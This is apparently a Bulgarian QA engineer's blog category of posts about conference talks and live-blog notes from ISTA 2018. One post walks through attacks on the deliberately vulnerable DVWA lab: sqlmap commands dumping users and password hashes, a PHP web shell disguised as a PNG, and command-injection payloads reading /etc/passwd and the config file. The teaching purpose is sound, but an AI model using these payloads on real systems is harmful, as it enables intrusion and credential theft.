Category: Лекции

Ще бъда лектор на QAChallengeAccepted 2022

Еми таковата … по едно време бях си казал, че спирам с публичните изяви (освен клипчета в ютуб как свирим пияни заляни по фото студията), но желанието ми да споделям опит (и не – не е клише, което използвам по конференции/интервюта за работа, а наистина ме е грижа) явно е по-силно.

Ще е забавен септември предвид, че началото на Октомври чакаме бебенце номер две, а то може и да подрани по негово си желание, ще имам лекция, аз вече ще съм нагазил в много дълбокото в AWS, има шанс и да пътуваме… Burnout – добре дошъл :D

Тези дни ще запиша един епизод с повече детайли относно лекцията, но teaser-а е, че ще говоря повече за идеи отколкото за инструментариум, ще говорим и за кариера и какво следва след QA и общо взето смятам, че ще е полезна на доста хора.

И последно, че пак ще стане дълъг пост – когато си писах CV-то преди някакво време минах през секцията с лекции, които съм водил и учудващо за мен, но ми изплуваха някакви спомени за всички от 2016 насам и повечето – забавни. То нямаше една, която да кажа, че ми е било скучно :D Та ми се иска да направя един епизод за това, защото хората, които (искат да ) говорят предполагам ще им е полезно.

Говорих пред деца за ИТ и останах изумен

Миналата неделя бях поканен да споделя част от опита си със завършващите курса на https://kiber-one.bg с възрастова група от 6 до 14 и да раздам дипломите на най-малките. Реших да говоря за това как съм започнал аз, как любопитството ме е тласнало напред, как сме играли игри на черно-зелени екрани от дискети, как сме си писали сами игрите на BASIC и сме чели документация от хартиен носител, какво правя сега, сегментирането на сектора (често споменавам като говоря пред ученици това, че IT не е само програмиране, да им покажа част от спектъра включвайки дизайн, QA, програмиране, PM и т.н. и т.н.) съответно с опит това да звучи колкото се може по-близко до наруталния език.

Отивам в юнашкия дом във Варна и ме посрещат 50-тина деца, които си стоят по столовете и чакат, родителите бяха на втория етаж и все пак нямаше нито едно дърпане на коси, сбиване или лигавня. Повечето деца бяха в границата между 6 и 9 годишна възраст.

Започна събитието и имаше демо на 5 проекта на деца от 7 г. до 9 г. С огромен интерес наблюдавах какво правят децата и след второто демо си зачеркнах половината ключови думи по които щях да говоря. Нямаше да им кажа нищо ново. Демата бяха на Scratch и Tynker и след като едно момиченце на 7 години показа демо пред 100+ човека на имплементация на Flappy Bird в която си имаше своите условия, sprites, различни екрани и т.н. аз бях – “Чакай, чакай”, дойде друго дете, показа 3D модел на Tynker на слънчевата система с акуратни размери на планетите, орбитите и скоростта на движението им, показа кода, обясни го. Бях супер приятно изненадан.

Това, което видях са деца, които:

  • Правят неща, които им харесват
  • Могат да работят в екип
  • Имат логическо мислене
  • Разбират основите на програмирането
  • Имат презентационни умения и не изпадат в паника като говорят пред хора (за разлика от мен)
  • Разбират англисйки на ниво, което им върши работа

Ето, че има надежда, просто трябва да знаем накъде да гледаме.

Edit – Забравих да добавя, че след края на цялото нещо излизам от залата и едно момченце (7-8 да речем) се отдели от родителите си, дойде при мен и каза – “Господине, много хубава реч, хареса ми.” Прибрах се нахилен като пача. Явно е имало смисъл.

Мина QA: Challenge Accepted 6.0

Мина, мина, мина! Чаках този момент от няколко месеца вече и като мина се образува стандартния вакуум който си се появява след като сляза от сцената.

Този път публиката беше разделена на три основни части – в залата, отвън и online. Общо организаотирте казаха, че са били долу-горе колкото миналата година – малко над 700 човека (без тези, които после са гледали видеата).

Подготовката ми започна началото на годината и когато COVID-19 отложи конференцията за Септември бях се поотпуснал, но като стана Септември пак беше драма. Но този път контролирана драма. Този път научих токова много по темата, че смятам да направя първите 2-3 епизода на подкаста по темата с говорене пред публика. Смятам да говоря освен за нормалните неща като подготовка, soft & hard skills и за неща за които рядко се говори – какво е да стъпиш наистина на сцената, какво може да се счупи там (например аз чувах гласа си с около половин секунда закъснение и това ме счупи много).

Този път Златина беше с мен, беше първата ми big-scale conference с нея и това помогна доста. Дори после преживях доста по-лесно цялата комуникация с хората и видях красивото в неща, които не бях забелязвал.

Да, освен това имам разни новини за споделяне, които бавих, защото не измислих как да ги представя по интересен начин тук, защото този телеграфния не ми харесва изобщо.

Те така де, друго интересно е какъв импакт може да има и LinkedIn. Споделих преди няколко дни пост за конференцията и събра общо над 4600 views, 70-тина лайка и огромен брой читатели, които не са HR (което всъщност ме учуди най-много).

Те така де, очаквайте скоро по-подреден и panic-free епизод с основните точки от talk-а ми. Даже се замислям дали няма да е удачно да го изнеса (без техническите детайли) на TedX. Вие какво мислите?

P.S. Аз забравих най-важното, бе!

Линк към презентацията можете да намерите тук.

QA: Challenge Accepted 6.0 English podcast

A (not) so short English version of my talk “How (not) to talk at conferences” at QA: Challenge Accepted 6.0.

It’s my first episode of the series. On the next episodes of the series I’ll cover:

  • Soft skills
  • Hard skills
  • Practical presentation examples
  • Fighting a stage fright
  • memes!

Questions

If you have questions you can ask them on Discord or at https://sli.do/NedTalk

Ще бъда лектор на ISTA 2019

O shit, o shit, o shit. Вайкам се из апартамента докато Златина и котката Иво ме гледат като човек, който е изгубил разсъдака си (което не е далеч от истината по принцип).

Та да – бях одобрен да говоря на една от най-голямите конференции в България и на темата сигурност (но с повече мемета, обещавам!) – “Security testing – from lizard to wizard in 40 minutes”.

Освен нещата, които вече казах на QA: Challenge Accepted мисля да добавя малко по-advanced техники или да направя изцяло нова лекция. Вие какво мислите по въпроса? Какво ви е интересно?

Security testing – fast forward. The lecture

По-долу е лекцията, която изнесох на QA: Challenge Accepted 5.0. Различно е отсъствието на плоските шегички и малко по-подробната на места информация.

Като начало, вместо начало

Scope-а на лекцията е да демонстрира няколко добре известни атаки под формата на един общ процес. Това са:

  1. Да намерим потребителските имена и пароли в база, до която нямаме credentials;
  2. Да качим зловреден код прескачайки (добре) написана upload функционалност;
  3. Да изпълним кода и да получим съдържанието на произволен файл в системата.

Инструментариума, който ще използваме е:

Подготовка на средата:

Инсталацията на Docker и Python са като всяко друго windows next-next-finish приложение. След това идва драмата.

За да вдигнете цялата си среда, трябва в command prompt (start menu – cmd) да изтеглите docker repo-то:

https://hub.docker.com/r/vulnerables/web-dvwa/

Сега repo-то на DVWA заедно с апаче, база данни, PHP и една кофа неща са при вас. За да ги направите достъпни, трябва просто да стартирате контейнера:

docker run --rm -it -p 80:80 vulnerables/web-dvwa

1. SQL Injection

SQL Injection най-общо казано е възможност за изпълняване на нерегламентирани SQL statements като SELECT, UNION и т.н., които не са предвидени в текущата функционалност на приложението. С други думи ако параметризирате без подходяща валидация и/или санитизация някой параметър, може да има драма. Пример за драма:
GET request:

http://nedko.info/sql_injection/inj.php?drama=1

Кода, който работи отдолу:

$drama = $_GET[‘drama’];
$getDrama  = “SELECT * FROM vulnerabilities WHERE type = ‘$id’;”;

Ако въведете валидни данни всичко ще е супер, ноо (второто О е за допълнителна драма) ако счупите заявката ще стане любопитно.

Най-елементарния и емблематичен пример е Светия Апостроф. Ако набием един ‘ след параметъра ?drama=1’ ще строшим SQL заявката.

Пример в DVWA с класически SQL injection (линк към локалния DVWA – http://localhost/vulnerabilities/sqli/):

DVWA – SQL Injection, level 1

Но понеже живота на penetration tester-а (или на смъртния човек, който е решил да се занимава с това) не винаги е лесен (никога не е) и може вече някой програмист далновидно да е решил да направи валидация и да избегне този балъшки тест.

Тогава идва ред за нашето последно късче надежда или т.нар. Blind SQL Injection (или както след лекцията някой каза – Орхан Мурад SQL injection), който можете да намерите в менюто на DVWA – SQL Injection (Blind). По самото си същество това е същата уязвимост, но не получаваме веднага потвърждение от типа на бял екран или експлозия на еднорози. Но лесно можем да проверим какво става като отворим inspector-а на Chrome (естествено става и с всички други модерни браузъри, дори и с Онова, което никой не нарича браузър) и влезем в таб Network. Там ще минат всички request-и (POST/GET ни интересуват най-много, но ще видите и images, JS, CSS files и всичко от което има нужда ресурса, който сте отворили).

Сега като набиете един ‘ в полето “User ID” наблюдавайте какво ще се случи в Network Tab-а:

За да продължим към екшъна ще ни трябват и кукитата на скрипта, защото все пак, за да достигнем тази функционалност минахме през логин. Cookies можете мега лесно да намерите на същия екран, но в подтаб (има ли такава дума?) “Cookies”:

До момента използвахме само браузъра за нашите дребни шегички с администраторите. Сега е ред да използваме нещо по-могъщо – sqlmap.

Note – чудите се къде са SQL break characters, къде ви е cheatsheet-а с който можете с copy/paste да трошите сайтове? Понеже на лекцията имах само 25 минути нямаше време за това, няма да го покажа и тук (освен ако някой наистина иска да види какво става отдолу, тогава на драго сърце бих дописал статията с малко теория). За наше щастие sqlmap прави всичко за нас. Ние само трябва да му дадем параметъра, който смятаме за уязвим и cookie-тата, за да може инструмента да се “логне”. Туй то, както казваме в Добричко/Варненския край.

sqlmap – our secret weapon

За да подкарате sqlmap, трябва да имате първо Python. Инсталацията му е лесна и няма да имате грижи.

По ред на information gathering процеса ще запиша тук всичките стъпки, през които трябва да минем:

python ./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” –dbs

Резултата:

available databases [2]:
[*] dvwa
[*] information_schema

И ето, че намерихме базата, която използва DVWA. Сега ще ровим още, за да получим имената на таблиците на същата база (ако новите и старите богове нямат нищо против):

./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -D dvwa –tables

Новите параметри тук са:

  • -D dvwa – казваме, че целта на нашата задача е база с име dvwa
  • –tables – покажи всички таблици от базата дефинирана по-горе.
Database: dvwa
[2 tables]
guestbook
users

И ето, че без много зор стигнахме до таблиците на база, за която нямаме никакви credentials. И понеже чичо Недко е нагляр по природа продължаваме да видим докъде можем да стигнем:

python ./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -D dvwa -T users –columns

Новите параметри тук са:

  • -T users – целта ни е таблица с име users;
  • –columns – покажи колоните на базата (това е нещо като show columns from [users] в mySQL).
Database: dvwa
Table: users
[8 columns]
Column – Type
user – varchar(15)
avatar – varchar(70)
failed_login – int(3)
first_name – varchar(15)
last_login – timestamp
last_name – varchar(15)
password – varchar(32)
user_id – int(6)

Note – можете да видите и payload-а, който sqlmap ще направи, ако сте от любопитните.

И ето, че имаме всичката нужна информация за базата и структурата ѝ:

  • DB name – dvwa;
  • DB tables – guestbook, users;
  • DB user columns – user, avatar, failed_login, first_name, last_login, password, user_id;
  • Таблици, които са ни интересни – user и password.

Извеждане на потребители и пароли и декрпитирането им

python sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -C user,password –dump

Както забелязвате няма нужда да въвеждаме името на базата и таблицата тук, защото sqlmap си ги пази. Това значи, че ако решите да си reproduce-нете целия сценарии отново, трябва да минете през горните точки също.

И ето, че с последната команда направихме все едно един select user, password from users, взехме хешовете и направихме dictionary attack в който съпоставихме хешовете с тези в dictionary файла.
Естествено за демото паролите не бяха [email protected]!, а тривиални, за да може да не използваме +10GB файлове и часове чакане, а покажем как работи sqlmap-а.

И ето, че потребителите, които имаме в базата са:

  • 1337/charley
  • admin/password
  • gordonb/abc123
  • pablo/letmein
  • smithy/password

С това нашата задача приключи. Продължаваме напред, Кобра, с:

File Upload manipulation

Малко тъпо заглавие, но друго не измислих. Идеята е, че ще направим малък трик, с който ще успеем да качим PHP файл, който ще представим за PNG и в последстиве ще преименуваме директно на сървъра с command injection, за да изпълним зловредния си код (зъл смях).

Преди време имах трудни периоди с един програмист, който пишеше upload форми като казахтстански опълченец – без никакви валидации освен разширението на файла. След десетки спорове стигнахме до консенсуса да ползваме getimagesize в PHP. Хитринката е, че освен размера на image-а функцията проверява и дали файла е от тип image или някой хитряга се опитва да върти номера. Тогава при моите си опити да кача нещо друго освен image, не увенчах успех. Но днес ще ви покажа как да прескочим и това.

Нашия зловреден код ще е убер прост:

<?php

system($_GET[‘cmd’]);

?>

Когато го качим на сървъра, ще можем да извикваме параметри през него все едно сме в конзолата:
http://localhost/hackable/uploads/hack.php?cmd=ls /

Преди това обаче свръх малко теория – подобни функции изчитат сигнатурата на файла, която е в началото му и ако срещнат съвпадащи такива с типа, за който се представя файла, го приемат за чиста монета.
До момента, в който някой не реши да смени тази сигнатура (laugh in Spanish).

За да редактираме сигнатурата на файл, ни трябва HEX редактор и PHP кода от по-горе запазен във файл с разширение PNG (в моя случай е hack.png). На по-старите кучета, които са живели във времето, в което това беше актуално, няма да обяснявам какво е, а за по-новите кучета – също. Просто си изтеглете WinHEX или който и да е друг подобен инструмент, отворете hack.png и от страницата File Signatures Table намерете PNG и го копирайте в началото на файла:

При paste изберете в диалоговия прозорец “ASCII Hex”.

И ето, че имаме handcrafted файл, който можем да си използваме да си тестваме upload формите.

Нека сега опитаме да качим файла през upload формата на DVWA:

И ето, че имаме качен успешно файла в две директории нагоре /hackable/uploads.
Ако сега го достъпим, браузъра ще се опита да отвори файла като image, но ще покаже някаква простотия. Пътя до файла е http://localhost/hackable/uploads/hack.png

Понеже сега не можем да изпълним PHP-то, идва ред на третата и последна атака, която ще направим днес:

Command Injection

Целта на тази атака е да намерим функционалност, която извиква директно команда от системата и да слепим с нея втора, която ние да си изберем. В конкретния случай ще преименуваме hack.png в hack.php.

Като цяло извикването на команда директно си е за бой, но ако извикате команда през PHP без да имате нужните валидации, сте за хвърляне зад Вала.
Както повечето атаки и тази разчита на липса на валидации за специфични кейсове. Атаката се осъществява мега лесно със знак за конкатенация. Пример за такива знаци има в кода на DVWA (ниво на трудност High):

Нашата нищожна атака ще е супер проста. Както виждате от примера по-горе на трети ред след| има интервал (демонстриращ, че човешката грешка също е важен показател). Тоест с | ще можем да слепим втора команда след валидно подадена такава (като не забравяме, че не трябва да има интервал след знака, за да не мине валицадията). Ето и пример с това как можем да видим системен файл директно от WEB чрез command injection:

localhost|cat /etc/passwd

И както виждате можем да видим съдържанието на системен файл без проблем, за това ще опитаме да преименуваме файла hack.png в hack.php и да го изпълним. Командата е:
localhost|mv ../../hackable/uploads/hack.png ../../hackable/uploads/hack.php

Не очаквайте винаги да има някакъв output от командите, които (се опитвате да) изпълнявате.

Изпълнението на зловещия план

След като създадохме файл, който специално обработихме, качихме и преименувахме, е време да го изпълним и да видим дали всичката тази играчка ще сработи. Ще се опитаме да видим съдържанието на конфигурационния файл на DVWA:

http://localhost/hackable/uploads/hack.php?cmd=cat%20/var/www/html/config/config.inc.php

След като го изпълните дайте view source (ctrl+u)

И ето, че с тези елементарни похвати успяхме да извлечем потребителските имена и пароли от базата на DVWA, да му прескочим upload формата и да изпълним произволна команда.

Линк с презентацията можете да намерите мааалко по-долу. Публикувам я as it is макар, че малко се счупи при импорта от PowerPoint към Google Slides. #Yolo (или както Исуската казва – #YOLT (you only live twice).

Заключение

На всички ни е ясно, че новите ORM frameworks например се грижат за SQL injection още на много ниско ниво, че command injections могат да се разрешат лесно с използването на почти произволен framework и правилна конфигурация, но всеки трябва да се замисли поне малко за сигурността, докато пише проложения, за да може тези, които го тестват да кимнат одобрително с глава и като го пуснат в production, да са поне една идея по-спокойни.

P.S. Ако ви е интересно мога да разпиша повече по темата с DVWA като XSS, CSRF, чупене на хешове с John the Ripper, сигурност в WordPress (скенери, атаки, как да се предпазим, а, у) и т.н.

P.S.S. Преди време говорих на WordPress meetup-а във Варна за сигурност, ако ви е интересно – има повечко системни неща, има и dictionary attack-а и подобни:

Ще бъда лектор на QA: Challenge Accepted 5.0

Ииии ето, че тази година пак ще говоря на QA: Challenge Accepted.

Този формат е най-трудното нещо, което правя последните 2 години – приемам го доста насериозно и предния път ми отне немалко време и енергия да се подготвя.

Тази година темата ми ще е “Security Testing – Fast Forward” и ще продължи само 25 минути. Кандидатствах с две лекции – едната беше по-интересна и дълга (40 минути) и носеше по-епичното заглавие – “From lizard to wizard”.

И така – ще се срещнем с вас на 13 Април в София Тех Парк.

P.S. Ако на някой му е интересно нещо по темата нека пише тук и ако мога бих го включил в лекцията.

P.S. По време на лекцията ще има и малка изненада тук в блога.

ISTA 2018 live blogging, day 2

Добро утро.
Винаги е приятно да влезеш в зала с десетки хора, които говорят за Agile, код и тестване.

 

Всичко започна с лекцията на Mathias Verraes – “Design Heuristics”

Това, бога ми, беше първия keynote speech без презентация, който гледам. Чувството е като онези push-up bras. Всичко беше ок, но нещо липсваше.

Аз лично се изгубих напълно още в началото.

 

Hindsight lessons about API testing
Viktor Slavchev

 

Да слушаш тестинг трола винаги е удоволствие. Дали е заради лекотата с която засажда идеи в главите ни или за интересните теми или заради братата, не знам, но при мен се получава.

И да не звуча тенденциозно мога да го хейтна (без хейт не може!1!!) – тази брада трябва да расте, по вързможност до колената! Край на хейта.

Сега, сериозно.

Лекцията му започна с препрепълнена зала и хора седящи по земята.

Първо да уточним думата hindsight. Това е “умението” да разбираме някакво събитие или ситуация само след като то се е случило. И един много подходящ пример “With hindsight, we would recommend exactly the opposite.”

Виктор каза нещо познато, което трябва да се казва много по-често и да се използва – “Tools don’t make software (tools are not a solution). You’re the one who solve the problem”.

Преди да влезем в контекста на API тестинга трябва да обясним какво е web service и Виктор го обясни по интересен начин:

Web service-а е като комуникацията със сервитьор*:

  • Правите поръчка (request);
  • Получавате отговор (от типа да/не) (status code);
  • Получавате това, което сте поръчали (data, result)

Извън контекста на презентацията на Виктор – примера със сервитьора може да се използва и при security testing-а като му поръчаш да ти сервира ‘, *, NULL, 0 OR 1=1, шкембе с крутони и т.н. И после следим резултатите.

 

Относно точката за status code-а – понеже статус кодовете наистина са много и е хубаво да знаем поне основните най-лесния начин за това е да видите http status cat. От там аз научих повечето :D

 

Няколко неща преди да започнем с API тестовете:

  • Документацията не е винаги е пълно описание на продукта. Особено автоматично генерираната, outdated или зле написаната документация. За това трябва да мислим, да идентифицираме да  намерим нашия testing oracle (дефиницията си я намерете в блога на Виктор), да задаваме въпроси;
  • Настройката ви при писане на тестове – не пишете тестове, които минават, светят в зелено и еднорози скачат по репорта, а тестове, които тестват функционалност (понеже тук може да се говори много можете да пишете коментар в този блогпост или в поста на Виктор в неговия блог);
  • При API тестинга често забравяме да тестваме истински сценарии, а не само кой call какви отговори връща;

 

Кои тестове си струва да автоматизираме

  • Всички тестове, които връщат грешен response code (status code checks);
  • Всички тестове, които връщат грешни данни (structure checks);
  • Всички тестове, които не връщат никакви данни;
  • В добавка – освен единични, изолирани тестове е нужно да правим тестове по цели сценарии, знаете, но да кажа.

 

Status code checks – плюсове и минуси:

  • Плюсове:
    • Пишат се бързо и лесно;
    • Много дефинитивни;
    • Работят като sanity/smoke тестове.
  • Минуси:
    • Много повърхностни;
    • Трудно получаваме някаква полезна информация ако използваме GET методи (получаваме само status code без никакъв контент);
    • Status code checks сами по себе си не дефинират сериозни проблеми;

 

Structure checks – плюсове и минуси:

  • Плюсове:
    • С тях лесно може да проверим данните, които получаваме (no shit, Sherlock);
    • Тестовете могат да са много конкретнил
    • Ако използвате Codecept, например, можете да използвате regex.
  • Минуси:
    • Тези тестове са използваеми само за тестване на съдържание;
    • Трудни са при тестове на променливи данни;
    • Не са лесни когато имате deep nesting/дълги респонси.

 

Scenario checks – плюсове и минуси:

  • Плюсове:
    • Много близки до потребителското изживяване;
    • Използваеми при намирането на integration problems;
    • Могат да бъдат изпозлвани като леки regression suits;
    • Когато пишете scenario checks приемайте API-то като приложение (не ме целете с домати, но помислете за това). Много по-лесно е да измислите някакъв flow и да работите по него..
  • Минуси:
    • Бавни за писане/изпънение;
    • Изискват добра абстракция;
    • Трудно е да се каже кога са достатъчни

Както е писано неведнъж – при писане на тестовете използвайте ААА метода – arrange, act, assert. Това е достатъчно. Ако обаче се оплетете в морето от arrange/act-ове драмата ще е по-голяма от тия в индийските сериали.

Сега като си препрочетох описанието с тази кирилско/английска плетка не ми звучи толкова добре колко я чух, може би трябваше да я опиша на английски.
В блога на Виктор има голяма част от това, което каза на лекцията така, че смятам ще ви е интересно.

 

 

Sales Skillz for IT People
Iancho Dimitrov, VP Innovation, Strategic Clients & Business Development, Musala Soft

Доста извън моя интерес реших да участвам в лекцията на Янчо Димитров, който беше представен като легенда. Сигурно е.

Разакза ни малко за продажбите като имаше две интересни попадения:

  • “Sales are not bad thing if done right”;
  • “People don’t want a quarter-inch drill, they want a quarter-inch hole” Ted Levitt.

 

Why Teams and Culture Matter: Leadership lessons – Vasil Popovski

Преди години слушах за пръв път Васил Поповски на едно от първите издания на ISTA. Тогава той работеше за VMWare и тогава и сега разказваше супер интересните неща. И понеже този път няма да мина през превеждането на термини и презентация ще е на английски.

 

 

Google have quite interesting project called project Google Aristotle. With that in mind Vasil gives us couple of vision about what’s the most important thing in team:

5) Impact – team members think their work matters and creates change;

4) Meaningful work – is personally important to team members;

3) Structure and clarity – team members have clear roles, plans and goals;

2) Dependability – team members get things done on time and meet Google’s high bar for excellence;

1) Psychological safety – team members feel safe to take risks and be vulnerable in front of each other.

 

How to build a great team:

  • Team is not family – family is structure that is inherited, you cannot make changes there;
  • Lead the team, do not manage it – lead people, manage projects. Manager says “Go”, leader say’s “Let’s go”;
  • Foster a culture – culture is the shared core values, practices and beliefs of the team members.
  • Integrity is what you do when no one is watching

 

Hiring:

  • Hire for cultural fit;
  • Prefer skills over knowledge (skill is to know how to apply knowledge);
  • How many interviews you do as company – Google make a survey (how much interviews to hire someone) – fourth interviews was enough to predict a new hire’s performance with 86% confidence. After the fourth interview the accuracy of the mean score increases by less than one percent. More info can be found here
  • In Leanplum for example one backend developer goes trough next interviews:
  • Algorithmic
  • Coding/OOP
  • Design
  • Cultural fit
  • For Leadership skills

Performance management:

  • A single negative employee or bad performer can cause a 30%-40% drop in a team’s performance.

ISTA 2018 live blogging, day 1

По традиция и тази година ще има live blogging на ISTAcon.

 

Денят започна с opening speech и проблеми с микрофоните и озвучението. Добре, че беше първия лектор да разсее малко малките спънки и да поговори с харизмата на човек, който познава нещата в детайли:

 

Keynote Session: The Internet of Things is dead, long live the internet – Brandon Satrom, Co-Founder and CEO of Tangibl

 

Говорейки за харизма един от най-приятните за слушане лектори тази година определено отива към Брандън. В неговия keynote той ни разказа за разбиранията си за Internet of Things, където неизменно ми светна за LoraWAN и Варненското и Великотърновското общество, което разпространява идеята.

Според Брандън Internet of Things не може да бъде стабилна прекалено много време поради много фактори и предлага да го разглеждаме като … Интернет.
Разказа ни за Mesh networking, нещо, което е супер интересно и при интерес ще разпиша малко повече за него. Много грубо казано това е вътрешна мрежа, която не е expose-ната за външния свят и не зависи от интернет свързаността. Например ако имате датчик за наводнение и помпа за отводняване не е нужно и двете да са свързани с интернет, да разчитат на него и да пращат данните/респективно да се контролират от сървис, който е някъде навън като може комуникацията да стане вътрешно, датчика да подаде сигнал към помпата, която да си свърши работата. Разбира се няма да е приятно да не знаем какво става в дома ни, но не е ли по-добре automation-а да си свърши работата отколкото докато къщата се пълни с вода и настава микро катаклизъм те да ping-ват сървиса да видят дали не е Online? :)

В почивката се видяхме с Виктор Славчев и Александър Тодоров. Винаги е приятно да се видим и поговорим макар, че липсваше бирата. Ще видим довечера дали ще наваксаме :)

Developer’s survival guide: bug fixing for smart devices – Alexander Kostadinov, Senior Software Engineer at Musala Soft

Александър Костадинов говори и миналата ISTA за проекта, който разработва.

Към момента лекцията му беше основно репорт за това какво са постигнали. Разказа за (QA) процесите по техния проект, които звучат доста стандартни към момента. Интересно е, че са си организирали бъговете по категории (пак не е нещо революционно, но е интересно) и се показват интересни неща.

Явно момчетта имат афинитет към категоризиране на неща. Показаха и reaction Average reaction time по категории (find cause, re-test, apply fix re-deploy). При интерес ще пиша повече по темата с категоризациите, че е хубави за всички да видят по-голямата картинка от време на време.

 

Иначе бяха категоризирани някои от основните принципи, които си заслужава да бъдат споменати отново, защото са важни:

 

Как да преживеем като тестващи хора (не само QA, а и всеки, които тества каквото и да е в коя да е фаза на проекта) в свят на бъгове и неработещи (от всякакъв тип) неща:

  • Използвайте всяка възможност за тестване – при писане на код, когато имате други задачи, които не са свързани с тестване, когато се присетите за някой евентуален flow докато deploy-вате кода си. Това ще ви позволи да погледнете проекта през друг ъгъл, който понякога изтърваме докато се опитваме да покрием други критерии. Например при deploy на testing environment съм се сещал да правя експерименти с липсващи библиотеки или такива със стари версии. Беше грозно :)
  • Преди deploy (без значение дали е на dev/QA/pre-prod или prod среда) винаги проверявайте какво по приекта е ъпдейтнато. Например ако има нови dependencies/нова верия на API/framework е важно да се види changelog-а и да се изтества, защото е добро място за задаждането на много сконфузни ситуации от типа на – “Ама то работи при мен…”.

 

Bug avoidance

  • Опитайте се да покриете всички възможни ексепшъни  за които се сещате (превода ми е покъртителен. В оригинал е “Try to make sure you handle all possible exception”)
  • Логвайте, но внимателно. Там където няма нужда от 120 редови stack traces по-добре не ги логвайте. Знам, знам – винаги е по-добре да има колкото се може повече информация, но хората, които дебъгват могат много лесно в цялата вълна от логове да изтърват критичните моменти. Обратната ситуация с логването на почти никакви данни също е лоша практика.
  • Логвайте stack traces само при реална грешка. Това може да е да кажем липса на достъп до някой сървис. Няма смисъл да логвате stack traces за нещо като активирана валидация, например (би било жалко, нали? :D )
  • Не игнорирайте и логиката при висока конкурентност, особено при асинхронни операции. При нужда винаги приотизирайте
  • Без значение от code change-а, винаги правете full regression. Малък bugfix може да породи още 10
    • Тук аз трябва да добавя 1-2 забележки. Физически не е много оправдано да се прави full regression при най-малкия code change, но тук unit testing-а е наш най-добър приятел. Viva la automation!
  • Нека QA да тества по време на development фазата. Тук много зависи от организацията на компанията и процесите, но винаги е добре някой да види парче от вашата работа и да даде идеи и насоки за които не сме се сетили;
  • По възможност нека целия екип да е ангажиран с тестването в development фазата. Не говорим за това да дърпаме PM-а за ушите да гледа полуработещи неща (или функционалности без дизайн), но е страхотно да се обсъжда (дори на идейно ниво) текущата ни работа с целия екип. Така могат да бъдат отстранени проблеми още в зародиша им.

 

Bug investigation

  • Рестаритрането на машината почти никога не оправя проблемите;
  • Направете си предифинирани сетъпи за тестване. Ако тествате десктоп приложение например, което трябва да работи в предварително конфигурирана среда винаги е добре да имате една виртуална машина/контейнер, който да ви е фундамента в тестването. Така времето ви за реакция ще се намали драстично (представете си след всяка преинсталация на приложението да чистите/модифицирате регистри, да триете файлове, да конфигурирате разни сървиси, етц);
  • При тестване, респективно логване на бъгове е важно да описвате и версиите с които reproduce-вате. Иначе изобщо не е изключено да стане една километрична кореспонденция за да може след няколко изгубени човекочаса да стане ясно, че някой тества със стара версия на някоя билиотека/ОС/framework). Been there – done that.
  • Не забравяйте да гледате логовете. Те са ваш приятел, дори и да са много (за референция прочетете няколко точки по-нагоре)
  • Приемете го – unhandled exception може да се логне като бъг, дори и да се вижда само по логовете. Handle-вайте си ексепшъните за да няма драма
  • Наистина се постарайте преди да кажете, че бъга е “not reproducible”.

 

How we survived?

  • Постоянна комнуникация между всички членове на екипа (ако не правите daily meetings – те са добро начало);
  • Let’s face it – ако нямате добър domain knowledge колкото и добър програмист да сте ще е трудно не само на вас, но и на екипа в който работите;
  • Обикновено при development фазата програмистите не са много сговорчиви за bug fixing, но това е нужно. Опитайте да ги редувате – хем за разведряване на обстановката, хем да не ви се наложи да фиксвате десетки бъгове след development фазата.

 

Пф. Изписах си писането. Ако на някой му е интересно или има въпроси нека не се стеснява и да пита.

 

 

CI/CD in cloud independent environment – Toshko Todorov

Тошко започна силно с няколко мемета. Темата му за Continuous Integration / Continuous Delivery е интересна.

Разказа малко философски за контейнерите (в лицето на Докер), за CI и CD

Като цяло презентацията му беше много обща и наистина нямам какво друго интересно да ви предам.